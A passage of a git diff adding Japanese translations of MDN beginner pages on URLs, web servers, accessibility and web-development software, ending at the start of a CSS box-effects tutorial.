+ <pre>../CSS/display</pre> + + <p>この場合、 UNIX ファイルシステムの世界から継承された <code>../</code> の表記規則を使用して、ブラウザーに1つのディレクトリから上に移動したいことを伝えます。つまり、 <code>https://developer.mozilla.org/en-US/docs/Learn/../CSS/display</code> という URL にアクセスしたいわけで、これは <code>https://developer.mozilla.org/en-US/docs/CSS/display</code> のように単純化できます。</p> + </dd> +</dl> + +<h3 id="Semantic_URLs" name="Semantic_URLs">セマンティック URL</h3> + +<p>URL はとても技術的な香りがするにもかかわらず、人間が読めるウェブサイトの入口を表します。覚えることができ、誰でもブラウザーのアドレスバーに入力することができます。人々はウェブの中核にいるので、<a href="https://en.wikipedia.org/wiki/Semantic_URL"><em>セマンティック URL</em></a> と呼ばれるものを構築することがベストプラクティスと考えられています。セマンティック URL は、技術的な知識に関係なく、誰でも理解できる固有の意味を持つ単語を使用します。</p> + +<p>言語的セマンティックはもちろんコンピューターとは無関係です。おそらくランダムな文字を組み合わせたように見える URL を見たことがあるでしょう。しかし、人間が読める URL を作成することには多くの利点があります。</p> + +<ul> + <li>操作することがより簡単になります。</li> + <li>ウェブ上でどこにいるのか、何をしているのか、何を読んでいるのか、何と対話しているかといった観点のことが、ユーザーにとって明確になります。</li> + <li>検索エンジンによっては、関連するページを分類するためにこれらのセマンティックを使用することがあります。</li> +</ul> + +<h2 id="Next_steps" name="Next_steps">次のステップ</h2> + +<ul> + <li><a href="/ja/docs/Learn/Common_questions/What_is_a_domain_name">ドメイン名とは</a></li> +</ul> diff --git a/files/ja/learn/common_questions/what_is_a_web_server/index.html b/files/ja/learn/common_questions/what_is_a_web_server/index.html new file mode 100644 index 0000000000..1278ee5d38 --- /dev/null +++ b/files/ja/learn/common_questions/what_is_a_web_server/index.html @@ -0,0 +1,119 @@ +--- +title: Web サーバとは +slug: Learn/Common_questions/What_is_a_web_server +tags: + - Beginner + - インフラ +translation_of: Learn/Common_questions/What_is_a_web_server +--- +<div class="summary"> +<p><span class="seoSummary">この記事では、Webサーバとは何か、Webサーバの仕組み、なぜWebサーバが重要なのかを復習します。</span></p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">学習の前提:</th> + <td>すでに<a href="/ja/docs/Learn/Common_questions/How_does_the_Internet_work">インターネットの仕組み</a>を知っており、<a href="/ja/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines">Webページ、Webサイト、Webサーバ、検索エンジンの違いを理解していること</a>。</td> + </tr> + <tr> + <th scope="row">学習の目的:</th> + <td>Webサーバとは何かを学び、その仕組みに関して全般的な理解すること。</td> + </tr> + </tbody> +</table> + +<h2 id="Summary" name="Summary">概要</h2> + +<p>「Webサーバ」はハードウェアまたはソフトウェア、あるいは両方が動作しているものを指します。</p> + +<ol> + <li>ハードウェアの観点では、Webサーバとは、WebサーバソフトウェアとWebサイトのコンポーネントファイル (例えば、 HTML 文書、画像、 CSS スタイルシート、 JavaScript ファイル) を格納しているコンピューターのことです。インターネットに接続され、Webに接続された他の端末と物理的なデータ交換に対応しています。</li> + <li>ソフトウェアの観点では、Webサーバとは、ホストにあるファイルに対する、Webユーザーのアクセスを制御する、いくつかの部品の集まりです。最小限の部品は <em>HTTP サーバです。</em> HTTP サーバは {{Glossary("URL")}} (Webアドレス) および {{Glossary("HTTP")}} (ブラウザーがWebページを閲覧するためのプロトコル) を理解するソフトウェアのことです。格納しているWebサイトのドメイン名 (<code>mozilla.org</code> など) を通してアクセスすることができ、コンテンツをエンドユーザーの端末に配信します。</li> +</ol> + +<p>最も基本的な水準では、ブラウザーはWebサーバが保持しているファイルが必要になったらいつでも、 HTTP でファイルをリクエストします。リクエストが正しいWebサーバ (ハードウェア) に届くと、 <em>HTTP サーバ</em> (ソフトウェア) がリクエストを受け付け、リクエストされた文書を探し (ない場合は <a href="/ja/docs/Web/HTTP/Status/404">404</a> レスポンスが返される)、ブラウザーに HTTP を通して送り返します。</p> + +<p><img alt="HTTP を通したクライアント/サーバー接続の基本的な説明" src="https://mdn.mozillademos.org/files/8659/web-server.svg" style="height: 200px; width: 600px;"></p> + +<p>Webサイトを公開するには、静的または動的Webサーバが必要です。</p> + +<p><strong>静的Webサーバ</strong>、はスタックとも呼ばれますが、コンピューター (ハードウェア) と HTTP サーバ (ソフトウェア) から構成されます。サーバが保持しているファイルをブラウザーへ「そのまま」送るので、「静的」と呼ばれます。</p> + +<p><strong>動的Webサーバ</strong>は、静的Webサーバと追加のソフトウェアからなります。追加ソフトウエアは、一般的には<em>アプリケーションサーバと</em><em>データベースからなります</em>。アプリケーションサーバが、 保持しているファイルを変更してから、HTTP サーバを通してブラウザーに送信するので「動的」と呼ばれます。</p> + +<p>例えば、ブラウザーで見ることができる最終的なWebページを生成するために、アプリケーションサーバはデータベースからのコンテンツで HTML のテンプレートを埋めることがあります。 MDN やウィキペディアのようなサイトは非常に多くのWebページを持っていますが、実際の HTML 文書が存在するわけではなく、巨大なデータベースとわずかな HTML テンプレートのみが存在しているのです。この構成をとることで、より速く、より簡単にコンテンツを保守したり配信したりすることができます。</p> + +<h2 id="Active_learning" name="Active_learning">アクティブラーニング</h2> + +<p><em>まだアクティブラーニングはありません。<a href="/ja/docs/MDN/Getting_started">ご協力をお願いします</a>。</em></p> + +<h2 id="Deeper_dive" name="Deeper_dive">より深く学ぶ</h2> + +<p>すでに述べたとおり、Webページを呼び出すために、ブラウザーはWebサーバにリクエストを送信し、Webサーバは自身のストレージスペースからリクエストされたファイルを探し始めます。ファイルを見つけると、サーバはファイルを読み込み、必要に応じて処理を行い、ブラウザーに送信します。それらのプロセスを詳細に見てみましょう。</p> + +<h3 id="Hosting_files" name="Hosting_files">ファイルの格納</h3> + +<p>Webサーバは最初に、Webサイトの HTML 文書およびその関連資産である画像、 CSS スタイルシート、 JavaScript ファイル、フォント、動画などのファイルを格納する必要があります。</p> + +<p>技術的には、Webサーバとは別のコンピューターにこれらのファイルをすべて保持するようにもできます。しかし、次のような理由で、専用のWebサーバにすべてを格納したほうがはるかに便利です。</p> + +<ul> + <li>Webサーバは常に動作している</li> + <li>常にインターネットに接続されている</li> + <li>常に固定の IP アドレスを持っている ({{Glossary("ISP", "プロバイダー")}}は家庭用の回線に固定 IP アドレスを提供しているとは限らない)</li> + <li>サードパーティのプロバイダーによって管理されている</li> +</ul> + +<p>これらすべての理由から、良いホスティングのプロバイダーを探すことは、Webサイトを構築する上で重要な部分です。様々なサービス会社が提供するものを探し、ニーズや予算に合う一つを選択しましょう (無料から月当たり数千ドルまでのサービスがあります)。詳しくは<a href="/ja/docs/Learn/Common_questions/How_much_does_it_cost">この記事</a>にあります。</p> + +<p>Webのホスティングサービスを構成したら、後は<a href="/ja/docs/Learn/Common_questions/Upload_files_to_a_web_server">Webサーバにファイルをアップロードする</a>だけです。</p> + +<h3 id="Communicating_through_HTTP" name="Communicating_through_HTTP">HTTP による通信</h3> + +<p>次に、Webサーバは {{Glossary("HTTP")}} (<strong>H</strong>yper<strong>t</strong>ext <strong>T</strong>ransfer <strong>P</strong>rotocol) への対応を提供しています。名前にある通り、 HTTP はコンピューター間でハイパーテキスト (リンクされたWeb文書) を転送する方法を定義しています。</p> + +<p>{{Glossary("Protocol", "プロトコル")}}は二台のコンピューター間で通信をする規則を設定します。 HTTP はテキストによる、ステートレス（下記参照）のプロトコルです。</p> + +<dl> + <dt>テキストによる</dt> + <dd>すべてのコマンドがプレーンテキストで、人間が読める形です。</dd> + <dt>ステートレス</dt> + <dd>サーバもクライアントも以前の通信を覚えていません。例えば、 HTTP 単独では、サーバは入力したパスワードや、処理中のどのステップにいるかを覚えていることはできません。このような仕事をするには、アプリケーションサーバが必要になります。 (以降の記事で様々な技術を説明します。)</dd> +</dl> + +<p>HTTP はクライアントとサーバがどのように通信するかについての明確なルールを提供しています。 HTTP 自体については、後で<a href="https://developer.mozilla.org/ja/docs/Web/HTTP">技術記事</a>で説明します。これからは、以下のようなことに気を付けてください。</p> + +<ul> + <li><em>クライアント</em>だけが HTTP リクエストを作成することができ、<em>サーバ</em>だけに送ることができます。サーバは<em>クライアント</em>の HTTP リクエストに<em>返答</em>することだけができます。</li> + <li>HTTP でファイルをリクエストするとき、クライアントはファイルの {{Glossary("URL")}} を示さなければなりません。</li> + <li>Webサーバはすべての HTTP リクエストに応えます。処理できない場合でも、エラーメッセージを返す必要があります。</li> +</ul> + +<p><a href="/ja/docs/Web/HTTP/Status/404"><img alt="エラーページの例として、 MDN の 404 ページ" src="https://mdn.mozillademos.org/files/8661/mdn-404.jpg" style="float: right; height: 300px; width: 300px;"></a>Webサーバにおいて、 HTTP サーバは受信したリクエストを処理してレスポンスを返す責任があります。</p> + +<ol> + <li>リクエストを受信すると、 HTTP サーバは最初にリクエストされた URL が既存のファイルに一致するかどうかをチェックします。</li> + <li>もしあれば、Webサーバはブラウザーにファイルを送り返します。なければ、アプリケーションサーバが必要なファイルを作成します。</li> + <li>どちらの処理もできない場合、Webサーバは {{HTTPStatus("404", "404 Not Found")}} としてよく知られているエラーメッセージをブラウザーに返します。 (このエラーはよく起こるので、多くのWebデザイナーが、<a href="http://www.404notfound.fr/" rel="external">404 エラーページ</a>のデザインに時間を割くことになります。)</li> +</ol> + +<h3 id="Static_vs._dynamic_content" name="Static_vs._dynamic_content">動的コンテンツと静的コンテンツ</h3> + +<p>大まかに言って、サーバは静的コンテンツと動的コンテンツのどちらかを提供することができます。「静的」は「そのまま提供する」という意味です。静的なWebサイトは構築するのが最も簡単なので、最初に静的サイトを作成することをお勧めします。</p> + +<p>「動的」はサーバがコンテンツを処理したり、データベースからその場で作成したりすることを意味します。この方法は、柔軟なページを提供できる反面、技術的難易度が高く、Webサイトの構築が複雑になります。</p> + +<p>例を挙げれば、今あなたが見ているページがそれです。この Web サーバには、データベースから記事コンテンツを取り出し、整形し、HTML テンプレート内に配置し、結果を送信するためのアプリケーションサーバがあります。この場合、アプリケーションサーバは <a href="/ja/docs/MDN/Kuma">Kuma</a> と呼ばれ、 (<a href="https://www.djangoproject.com/">Django</a> フレームワークを使用した) <a href="https://www.python.org/">Python</a> 言語で構築されています。 Mozilla チームは Kuma を MDN の特定のニーズのために作成しましたが、他のたくさんの技術で構築された同様のアプリケーションがたくさんあります。</p> + +<p>アプリケーションサーバは多くの種類があり、特定のサーバを選ぶのはとても難しいといえます。あるものは、ブログ、Wiki、 E ショップなどに特殊化しています。いっぽう、 {{Glossary("CMS")}} (Content Management System) と呼ばれるものはより一般的です。動的Webサイトを構築するときは、ニーズに合ったツールの選択に時間をかけましょう。Webサーバプログラミングを学習しようとするのでなければ (これ自体はエキサイティングな領域ですが)、独自のアプリケーションサーバを作成する必要はありません。それは{{Interwiki("wikipedia", "車輪の再発明")}}のような、無用な努力になるからです。</p> + +<h2 id="Next_steps" name="Next_steps">次のステップ</h2> + +<p>Web サーバのことがよく分かったら、次のステップに進みましょう。</p> + +<ul> + <li><a href="/ja/docs/Learn/Common_questions/How_much_does_it_cost">Webで何かをするのにいくらかかるのか</a>を知る</li> + <li><a href="/ja/docs/Learn/Common_questions/What_software_do_I_need">Webサイトを作成するのに必要な様々なソフトウェア</a>についてもっと学ぶ</li> + <li><a href="/ja/docs/Learn/Common_questions/Upload_files_to_a_web_server">ファイルをWebサーバにアップロードするには</a>のような、実践的な記事を読む</li> +</ul> diff --git a/files/ja/learn/common_questions/what_is_accessibility/index.html b/files/ja/learn/common_questions/what_is_accessibility/index.html new file mode 100644 index 0000000000..2790e3bcd2 --- /dev/null +++ b/files/ja/learn/common_questions/what_is_accessibility/index.html @@ -0,0 +1,90 @@ +--- +title: What is accessibility? +slug: Learn/Common_questions/What_is_accessibility +translation_of: Learn/Common_questions/What_is_accessibility +--- +<div class="summary"> +<p>この記事はwebアクセシビリティの背景にある基本的なコンセプトを紹介します。</p> +</div> + +<table class="learn-box nostripe standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>なし</td> + </tr> + <tr> + <th scope="row">対象:</th> + <td>アクセスビリティが何なのか、なぜ重要なのかを学ぶ</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>物理的、技術的制限のせいで、たぶんあなたの訪問者はあなたの望むような体験をあなたのウェブサイトからできません。 この記事では一般的なアクセシビリティの原則や平易ないくつかの規則を示します。</p> + +<h2 id="能動的学習">能動的学習</h2> + +<p><em>まだ可能な能動的学習がありません。 <a href="/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p> + +<h2 id="深く掘っていく">深く掘っていく</h2> + +<h3 id="アクセスビリティ_一般的な原則">アクセスビリティ: 一般的な原則</h3> + +<p>まず、我々は負の制限に伴うアクセスビリティに関連付けられなければならないだろう。このビルはアクセスブルでなければならず、そうなのでトイレのサイズやエレベーターの設置場所のこれらの規制に従わなければならない。</p> + +<p>それはアクセスビリティで考えられる狭い方法である。人々に委ねたり、より多くの顧客に出す、びっくりするような方法を考えてみて下さい。 ブラジルにいる人々に英語のサイトをどのように出しますか？ スマートフォンのブラウザが重く、大きなデスクトップモニターにデザインされたウェブサイトが乱雑であったり、帯域が制限されていないことなどできますか？それらは別の場所に行くべきでしょう。一般的に<em>ターゲット顧客の観点から我々のプロダクトを考え、変化を採用しなければなりません。</em>従って、アクセスビリティなのです。</p> + +<h3 id="ウェブアクセシビリティ">ウェブアクセシビリティ</h3> + +<p>ウェブの特定の文脈において、アクセシビリティは障害、場所、技術的な制約、他の事情などにも関わらずコンテンツからの利益を誰もが得られることを意味します。 </p> + +<p>ビデオについて考えてみましょう</p> + +<dl> + <dt>聴覚障害</dt> + <dd>ビデオを聴覚障害の人はどのようにみるのでしょうか？ 字幕を提供しなくてはなりませんし、 — もしくはそうであってもより良いのはフルテキストの写しです。</dd> + <dd>もしくはその人に適応したボリュームに調整してあげることができます。</dd> + <dt>視覚障害</dt> + <dd>もう一度、ビデオを上映することなしにテキストの写しを説明してあげたり、音声説明を提供することができます。 (ビデオで何が起こっているか述べる画面外の音声)</dd> + <dt>中断する能力</dt> + <dd>ユーザーがビデオで何か理解できない事態に見舞われるかもしれません。ビデオを止めて、字幕や情報のプロセス読むでしょう。 </dd> + <dt>キーボードの能力</dt> + <dd>ビデオの内外のタブを使うことで、仕掛けなしにビデオの再生中断をします。</dd> +</dl> + +<h4 id="ウェブアクセスビリティの基本">ウェブアクセスビリティの基本</h4> + +<p>いくつかの必要性を基本的なウェブアクセスビリティは含みます。</p> + +<ul> + <li>あなたのサイトは意味を伝える画像がいつでも必要になります。見ようとするユーザーや低速回線のユーザーに選択的なテキストとして含む必要があります。</li> + <li>すべてのユーザーが専らキーボードでグラフィカルインターフェース(メニューを折りたたまないような) 操作できることを確かめなさい。(例えばタブやリターンキーで).</li> + <li>テキストのはっきりと明示的な言語の指定を提供しなさい。そして、スクリーンリーダーは適切に読まれます。</li> + <li>ユーザーがキーボードで仕掛けなし(少なくともタブの出入りだけで)で単独にすべてのページ上のウィジットナビゲートできるよう確かめなさい。</li> +</ul> + +<p>そして、今、始めよう。</p> + +<h3 id="アクセスビリティのチャンピオンたち">アクセスビリティのチャンピオンたち</h3> + +<p>1999年以来, the {{Glossary("W3C")}} は{{Glossary("WAI","Web Accessibility Initiative")}}と呼ばれるグループを動かしてきた。このグループはガイドライン、マテリアル、国際的なリソースを通じてアクセスビリティを促進してきた。</p> + +<h2 id="より詳細には">より詳細には</h2> + +<p>以下を参照して下さい:</p> + +<ul> + <li><a href="https://en.wikipedia.org/wiki/Accessibility">ウキィペディアの記事</a> （アクセスビリティに関する）</li> + <li><a href="http://www.w3.org/WAI/">WAI (W3Cのアクセスビリティイニシアティブ)</a></li> +</ul> + +<h2 id="次のステップ">次のステップ</h2> + +<p>アクセスビリティはウェブデザインや技術構造の両方にインパクトを与えることができます。</p> + +<ul> + <li>私たちはデザインの観点から, <a href="/en-US/docs/Learn/Design_for_all_types_of_users_101">すべてのタイプのユーザーのためのデザイン</a>の勉強を提案する。</li> + <li>もし、技術的な側面の興味を持ったら、 <a href="/en-US/docs/Learn/Using_images">ウェブページにおける埋め込みイメージ</a>の方法を勉強することができる。</li> +</ul> diff --git a/files/ja/learn/common_questions/what_software_do_i_need/index.html b/files/ja/learn/common_questions/what_software_do_i_need/index.html new file mode 100644 index 0000000000..9b042b3c06 --- /dev/null +++ b/files/ja/learn/common_questions/what_software_do_i_need/index.html @@ -0,0 +1,222 @@ +--- +title: Web サイトを作成するのにどんなソフトウェアが必要か？ +slug: Learn/Common_questions/What_software_do_I_need +tags: + - NeedsActiveLearning + - WebMechanics + - 初心者 +translation_of: Learn/Common_questions/What_software_do_I_need +--- +<div class="summary"> +<p>この記事では、Webサイトを編集、アップロード、または閲覧するときに必要なソフトウェアについて説明します。</p> +</div> + +<table class="learn-box nostripe standard-table"> + <tbody> + <tr> + <th scope="row">学習の前提:</th> + <td><a href="/ja/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines">Web ページ、Web サイト、Web サーバ、検索エンジンの違い</a>を理解しておいてください。</td> + </tr> + <tr> + <th scope="row">学習の目的:</th> + <td>Web サイトを編集、アップロード、閲覧するときに必要なソフトウェアについて学びます。</td> + </tr> + </tbody> +</table> + +<h2 id="Summary" name="Summary">概要</h2> + +<p>Web 開発に必要なほとんどのプログラムは無料でダウンロードできます。この記事では、いくつかのリンクを提供します。</p> + +<p>次のようなツールが必要です。</p> + +<ul> + <li>Web ページの作成と編集</li> + <li>Web サーバにファイルをアップロードする</li> + <li>Web サイトを見る</li> +</ul> + +<p>ほぼすべてのオペレーティングシステムには、デフォルトでテキストエディタとブラウザが含まれており、Web サイトの閲覧に使用できます。結果的には、通常はファイルを Web サーバに転送するためのソフトウェアを入手するだけで済みます。</p> + +<h2 id="Active_Learning" name="Active_Learning">アクティブラーニング</h2> + +<p><em>実習はまだありません。<a href="/ja/docs/MDN/Getting_started">あなたの力をお貸しください</a>。</em></p> + +<h2 id="Dig_deeper" name="Dig_deeper">より深く掘り下げる</h2> + +<h3 id="Creating_and_editing_webpages" name="Creating_and_editing_webpages">Webページの作成と編集</h3> + +<p>Webサイトを作成したり編集したりするために、テキストエディターが必要です。テキストエディターは、形式を持たないテキストファイルの作成や修正を行います。 <strong>{{Glossary("RTF")}}</strong> のような他の形式では、太字や下線のような書式を追加することができます。しかし、これらの形式はWebページの作成には適していません。Webサイトを構築する際に幅広い作業に使用するので、どのテキストエディターを使用するかを考えておきましょう。</p> + +<p>すべてのデスクトップ OS には、基本的なテキストエディターが付属しています。これらのエディターはすべて簡単なものですが、Webページのコーディングのための特別な機能は持っていません。そこで、お望みなら、利用可能なサードパーティのツールがたくさんあります。サードパーティのテキストエディターには、構文の色付け、自動補完、セクションの折りたたみ、コード検索などの便利な追加機能がよくついています。エディターの簡単なリストを挙げておきます。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">OS</th> + <th scope="col">内蔵エディター</th> + <th scope="col">サードパーティのエディター</th> + </tr> + </thead> + <tbody> + <tr> + <td>Windows</td> + <td> + <ul> + <li><a href="https://ja.wikipedia.org/wiki/%E3%83%A1%E3%83%A2%E5%B8%B3" rel="external">メモ帳</a></li> + </ul> + </td> + <td> + <ul> + <li><a href="http://notepad-plus-plus.org/">Notepad++</a></li> + <li><a href="https://visualstudio.microsoft.com/ja/">Visual Studio Code</a></li> + <li><a href="https://www.jetbrains.com/webstorm/">Web Storm</a></li> + <li><a href="http://brackets.io/">Brackets</a></li> + <li><a href="https://shiftedit.net/">ShiftEdit</a></li> + <li><a href="https://www.sublimetext.com/">Sublime Text</a></li> + </ul> + </td> + </tr> + <tr> + <td>Mac OS</td> + <td> + <ul> + <li><a href="https://ja.wikipedia.org/wiki/%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E3%82%A8%E3%83%87%E3%82%A3%E3%83%83%E3%83%88" rel="external">TextEdit</a></li> + </ul> + </td> + <td> + <ul> + <li><a href="http://www.barebones.com/products/textwrangler/">TextWrangler</a></li> + <li><a href="https://visualstudio.microsoft.com/ja/">Visual Studio Code</a></li> + <li><a href="http://brackets.io/">Brackets</a></li> + <li><a href="https://shiftedit.net/">ShiftEdit</a></li> + <li><a href="https://www.sublimetext.com/">Sublime Text</a></li> + </ul> + </td> + </tr> + <tr> + <td>Linux</td> + <td> + <ul> + <li><a href="https://ja.wikipedia.org/wiki/Vi" rel="external">Vi</a> (All UNIX)</li> + <li><a href="https://ja.wikipedia.org/wiki/Gedit" rel="external">GEdit</a> (Gnome)</li> + <li><a href="https://ja.wikipedia.org/wiki/Kate" rel="external">Kate</a> (KDE)</li> + <li><a href="https://ja.wikipedia.org/wiki/Leafpad" rel="external">LeafPad</a> (Xfce)</li> + </ul> + </td> + <td> + <ul> + <li><a href="http://www.gnu.org/software/emacs/">Emacs</a></li> + <li><a href="http://www.vim.org/" rel="external">Vim</a></li> + <li><a href="https://visualstudio.microsoft.com/ja/">Visual Studio Code</a></li> + <li><a href="http://brackets.io/">Brackets</a></li> + <li><a href="https://shiftedit.net/">ShiftEdit</a></li> + <li><a href="https://www.sublimetext.com/">Sublime Text</a></li> + </ul> + </td> + </tr> + <tr> + <td>Chrome OS</td> + <td></td> + <td> + <ul> + <li><a href="https://shiftedit.net/">ShiftEdit</a></li> + </ul> + </td> + </tr> + </tbody> +</table> + +<p>こちらは、高度なテキストエディターのスクリーンショット例です。</p> + +<p><img alt="Notepad++ のスクリーンショット" src="https://mdn.mozillademos.org/files/8221/NotepadPlusPlus.png" style="height: 311px; width: 450px;"></p> + +<p>こちらは、オンラインのテキストエディターのスクリーンショット例です。</p> + +<p><img alt="ShiftEdit のスクリーンショット" src="https://mdn.mozillademos.org/files/15837/shiftedit.png" style="height: 311px; width: 475px;"></p> + +<h3 id="Uploading_files_on_the_Web" name="Uploading_files_on_the_Web">Web上へのファイルのアップロード</h3> + +<p>Web サイトを公開する準備が整ったら、Web ページを Web サーバにアップロードする必要があります。さまざまなプロバイダからサーバ上のスペースを購入できます (<a href="/ja/docs/Learn/Common_questions/How_much_does_it_cost#Publishing_tools.3A_FTP_client">Web で何かをするためにどのくらいコストがかかりますか？</a>を参照)。どのプロバイダを使用するかが決まったら、プロバイダは通常、SFTP URL、ユーザ名、パスワード、およびそれらのサーバへの接続に必要なその他の情報の形式で、アクセス情報をメールで送信します。(S)FTPは今や幾分時代遅れになっていて、<a href="https://ja.wikipedia.org/wiki/Rsync">RSync</a> や <a href="https://help.github.com/en/articles/using-a-custom-domain-with-github-pages">Git/GitHub</a> のような他のアップロードシステムが普及し始めていることを覚えておいてください。</p> + +<div class="blockIndicator note"> +<p><strong>メモ: </strong>FTP は本質的に安全ではありません。ホスティングプロバイダが安全な接続、例えば SSH を介した SFTP または RSync の使用を許可していることを確認してください。</p> +</div> + +<p>Web サーバを作成する際、Web サーバにファイルをアップロードすることは非常に重要なステップなので、<a href="/ja/docs/Learn/Common_questions/Upload_files_to_a_web_server">別の記事</a>で詳しく説明します。ここでは、単純な機能に限った無料 (S)FTP クライアントの例を示すにとどめます。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">OS</th> + <th colspan="2" rowspan="1" scope="col" style="text-align: center;">FTP ソフトウェア</th> + </tr> + </thead> + <tbody> + <tr> + <td>Windows</td> + <td> + <ul> + <li><a href="http://winscp.net" rel="external">WinSCP</a></li> + <li><a href="http://mobaxterm.mobatek.net/">Moba Xterm</a></li> + </ul> + </td> + <td colspan="1" rowspan="3"> + <ul> + <li><a href="https://filezilla-project.org/">FileZilla</a> (すべての OS)</li> + </ul> + </td> + </tr> + <tr> + <td>Linux</td> + <td> + <ul> + <li><a href="https://live.gnome.org/Nautilus" rel="external">Nautilus</a> (Gnome)</li> + <li><a href="http://dolphin.com/" rel="external">Dolphin</a> (KDE)</li> + </ul> + </td> + </tr> + <tr> + <td>Mac OS</td> + <td> + <ul> + <li><a href="http://cyberduck.de/">Cyberduck</a></li> + </ul> + </td> + </tr> + <tr> + <td>Chrome OS</td> + <td> + <ul> + <li><a href="https://shiftedit.net/">ShiftEdit</a> (すべての OS)</li> + </ul> + </td> + <td colspan="1"></td> + </tr> + </tbody> +</table> + +<h3 id="Browsing_websites" name="Browsing_websites">Webサイトの閲覧</h3> + +<p>ご存知の通り、Webサイトを閲覧するためにはWebブラウザが必要です。 私用でブラウザ使う時には、<a href="https://ja.wikipedia.org/wiki/%E3%82%A6%E3%82%A7%E3%83%96%E3%83%96%E3%83%A9%E3%82%A6%E3%82%B6%E3%81%AE%E4%B8%80%E8%A6%A7">たくさんのブラウザ</a>の選択肢がありますが、あなたがWebサイトを開発している時には、あなたのWebサイトがほとんどの人々のために働くことを確認するために、少なくとも以下のブラウザで動作確認、テストをする必要があります。</p> + +<ul> + <li><a href="https://www.mozilla.org/ja/firefox/new/" rel="external">Mozilla Firefox</a></li> + <li><a href="https://www.google.co.jp/chrome/" rel="external">Google Chrome</a></li> + <li><a href="http://windows.microsoft.com/ja/internet-explorer/download-ie" rel="external">Microsoft Internet Explorer</a></li> + <li><a href="http://www.apple.com/safari/" rel="external">Apple Safari</a></li> +</ul> + +<p>特定のグループ (技術プラットフォームや国など) を対象にする場合は、追加で <a href="http://www.opera.com/" rel="external">Opera</a>, <a href="http://www.konqueror.org/">Konqueror</a>, <a href="http://www.ucweb.com/ucbrowser/" rel="external">UC Browser</a> などブラウザでサイトをテストする必要があります。</p> + +<p>しかし、ブラウザによっては特定のオペレーティングシステムでしか動作しないものがあるため、テストをすることは複雑になります。 Apple Safari は iOS と Mac OS 上で動作し、 Internet Explorer は Windows 上でのみ動作します。 <a href="http://browsershots.org/" rel="external">Browsershots</a> や <a href="http://www.browserstack.com/" rel="external">Browserstack</a> のようなサービスを利用するのが最善です。 Browsershots は、様々なブラウザで見た場合のWebサイトのスナップショットを提供します。 Browserstack は実際には仮想マシンへの完全なリモートアクセスを提供し、最も一般的な環境でサイトをテストすることができます。他にも、独自の仮想マシンをセットアップする方法もありますが、それにはいくらかの専門知識が必要です。 (もしこの方法を使うのであれば、 Microsoft は <a href="https://modern.ie" rel="external">modern.ie</a> ですぐに使える仮想マシンを含む開発者のためのいくつかのツールを提供しています。)</p> + +<p>是非、実際のデバイス、特に実際のモバイル機器でいくつかのテストを実行してください。モバイル機器のシミュレーションは、進化中の新技術であり、デスクトップのシミュレーションよりも信頼性が低いです。もちろん、モバイル機器はお金を必要としますので、 <a href="http://opendevicelab.com/">Open Device Lab</a> の取り組みを見てみることをお勧めします。多くのプラットフォームでテストする場合は、過度な出費を抑えて機器を共有することもできます。</p> + +<h2 id="Next_steps" name="Next_steps">次のステップ</h2> + +<ul> + <li>一部のソフトウェアは無料ですが、すべてではありません。<a href="/ja/docs/Learn/Common_questions/How_much_does_it_cost">Web上で何かをするのにいくらのコストがかかるかを調べましょう</a>。</li> + <li>テキストエディターについてさらに学びたいのなら、<a href="/ja/docs/Learn/Common_questions/Available_text_editors">テキストエディターの選び方とインストール方法</a>に関する記事をお読みください。</li> + <li>Web上にWebサイトを公開する方法が分からないのであれば、<a href="/ja/docs/Learn/Common_questions/Upload_files_to_a_web_server">"Webサーバにファイルをアップロードする方法"</a>を参照してください。</li> +</ul> diff --git a/files/ja/learn/css/building_blocks/advanced_styling_effects/index.html b/files/ja/learn/css/building_blocks/advanced_styling_effects/index.html new file mode 100644 index 0000000000..650851a8a3 --- /dev/null +++ b/files/ja/learn/css/building_blocks/advanced_styling_effects/index.html @@ -0,0 +1,426 @@ +--- +title: ボックスの高度なエフェクト +slug: Learn/CSS/Building_blocks/Advanced_styling_effects +tags: + - Article + - Beginner + - Blend modes + - Boxes + - CSS + - CodingScripting + - Filters + - Styling + - box shadows + - effects +translation_of: Learn/CSS/Building_blocks/Advanced_styling_effects +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Styling tables", "Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}</div> + +<p class="summary"><span class="seoSummary">この記事はトリックの箱として機能し、ボックスの影、ブレンドモード、フィルタのようなボックスの装飾に使用できる高度な機能のいくつかを紹介します。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>HTML の基礎（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を学ぶ）、および CSS の機能の考え方（<a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>を学ぶ）。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>ボックスの高度なエフェクトの使用方法についてのアイデアを得ることと、CSS 言語に登場しているいくつかの新生のスタイル設定ツールについて知ること。</td> + </tr> + </tbody> +</table> + +<h2 id="Box_shadows" name="Box_shadows">ボックスの影</h2> + +<p><a href="/ja/docs/Learn/CSS/Styling_text">テキストの装飾</a>のモジュールに戻って、{{cssxref("text-shadow")}} プロパティを見てみましょう。 これにより、要素のテキストに1つ以上のドロップシャドウを適用できます。 ボックスにも同等のプロパティがあります — {{cssxref("box-shadow")}} を使用すると、実際の要素ボックスに1つ以上のドロップシャドウを適用できます。 テキストの影と同様に、ボックスの影はブラウザー間で非常によくサポートされていますが、IE9 以降のみです。 古いバージョンの IE を使用しているユーザーは、影なしで対処するしかないかもしれないので、コンテンツがそれらなしで判読可能であることを確かめるためにデザインをテストするだけです。</p> + +<p>このセクションの例は <a href="http://mdn.github.io/learning-area/css/styling-boxes/advanced_box_effects/box-shadow.html">box-shadow.html</a> にあります（<a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/advanced_box_effects/box-shadow.html">ソースコード</a>も参照）。</p> + +<h3 id="A_simple_box_shadow" name="A_simple_box_shadow">簡単なボックスの影</h3> + +<p>物事を始めるための簡単な例を見てみましょう。 まず、いくつかの HTML です。</p> + +<pre class="brush: html"><article 